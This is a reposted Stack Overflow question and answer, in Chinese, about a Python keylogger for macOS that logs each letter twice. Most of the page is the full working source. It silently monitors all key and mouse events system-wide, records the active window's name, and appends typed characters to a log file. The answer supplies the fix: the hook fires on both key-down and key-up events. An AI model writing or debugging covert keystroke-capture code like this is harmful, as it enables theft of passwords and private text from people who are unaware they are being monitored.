gpt4 book ai didi

python - OS X - Python 键盘记录器 - 双字母

转载 作者:行者123 更新时间:2023-12-03 16:54:48 25 4
gpt4 key购买 nike

我正在为 OS X 开发一个 python 键盘记录器。我的脚本运行良好,但所有字母在 shell/txt 日志文件中都是 double 的。谁能告诉我为什么......这对我来说是个谜!

#!/usr/bin/env python
# -*- coding: UTF-8 -*-


import sys
import os


import exceptions
from Foundation import NSObject, NSLog
from AppKit import NSApplication, NSApp, NSWorkspace
from Cocoa import *
from Quartz import CGWindowListCopyWindowInfo, kCGWindowListOptionOnScreenOnly, kCGNullWindowID
from PyObjCTools import AppHelper
import keycode



evtypes = dict(
NSLeftMouseDown = 1,
NSLeftMouseUp = 2,
NSRightMouseDown = 3,
NSRightMouseUp = 4,
NSMouseMoved = 5,
NSLeftMouseDragged = 6,
NSRightMouseDragged = 7,
NSMouseEntered = 8,
NSMouseExited = 9,
NSKeyDown = 10,
NSKeyUp = 11,
NSFlagsChanged = 12,
NSAppKitDefined = 13,
NSSystemDefined = 14,
NSApplicationDefined = 15,
NSPeriodic = 16,
NSCursorUpdate = 17,
NSScrollWheel = 22,
NSTabletPoint = 23,
NSTabletProximity = 24,
NSOtherMouseDown = 25,
NSOtherMouseUp = 26,
NSOtherMouseDragged = 27
)

evtypes_rev = dict([[v,k] for k,v in evtypes.items()])

class Hooker(object):
def __call__(self, *args, **kwargs):
try:
items = ' '.join( [ x[0]+"="+unicode(x[1]) for x in kwargs.iteritems()] )
if (self.__class__.__name__ == "MouseMoveHooker"):
pass

else :
for x in kwargs.iteritems():
if x[0] == 'char':
print x[1].encode('utf-8')
fichier.write("%s" % (x[1].encode('utf-8')))
except Exception as e:
print 'Horrific error!', e
AppHelper.stopEventLoop()
sys.exit(0)

class KeyHooker(Hooker): pass
class MouseButtonHooker(Hooker): pass
class MouseMoveHooker(Hooker): pass
class ScreenHooker(Hooker): pass

class SniffCocoa:

def __init__(self):

self.key_hook = KeyHooker()
self.screen_hook = ScreenHooker()
self.currentApp = None

def createAppDelegate (self) :

sc = self
class AppDelegate(NSObject):
def applicationDidFinishLaunching_(self, notification):
mask = (
NSKeyDownMask
| NSKeyUpMask
| NSLeftMouseDownMask
| NSLeftMouseUpMask
| NSRightMouseDownMask
| NSRightMouseUpMask
| NSMouseMovedMask
| NSScrollWheelMask
)
NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(mask, sc.handler)
return AppDelegate

def run(self):
NSApplication.sharedApplication()
delegate = self.createAppDelegate().alloc().init()
NSApp().setDelegate_(delegate)
self.workspace = NSWorkspace.sharedWorkspace()
AppHelper.runEventLoop()

def cancel(self):
AppHelper.stopEventLoop()

def handler(self, event):

try:
activeApps = self.workspace.runningApplications()
for app in activeApps:
if app.isActive():
if app.localizedName() != self.currentApp:
self.currentApp = app.localizedName()
options = kCGWindowListOptionOnScreenOnly
windowList = CGWindowListCopyWindowInfo(options, kCGNullWindowID)

for window in windowList:
if window['kCGWindowOwnerName'] == self.currentApp:
geom = window['kCGWindowBounds']
self.screen_hook( event=event,
name = window['kCGWindowName'],
owner = window['kCGWindowOwnerName'],
x = geom['X'],
y = geom['Y'],
w = geom['Width'],
h = geom['Height'])
break
break

# keys down
if event.type() in ( NSKeyDown, NSKeyUp ):

flags = event.modifierFlags()
modifiers = [] # OS X api doesn't care it if is left or right
if (flags & NSControlKeyMask):
modifiers.append('CONTROL')
if (flags & NSAlternateKeyMask):
modifiers.append('ALTERNATE')
if (flags & NSCommandKeyMask):
modifiers.append('COMMAND')

self.key_hook(char=keycode.tostring(event.keyCode() ))


except ( KeyboardInterrupt ) as e:
print 'handler', e
AppHelper.stopEventLoop()

fichier = open("LOG.txt", "a")
sc = SniffCocoa()
sc.run()

最佳答案

因为您调用 key_hook 两次:一次调用 NSKeyDown,一次调用 NSKeyUp(均由按键产生)。

关于python - OS X - Python 键盘记录器 - 双字母,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/13806829/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com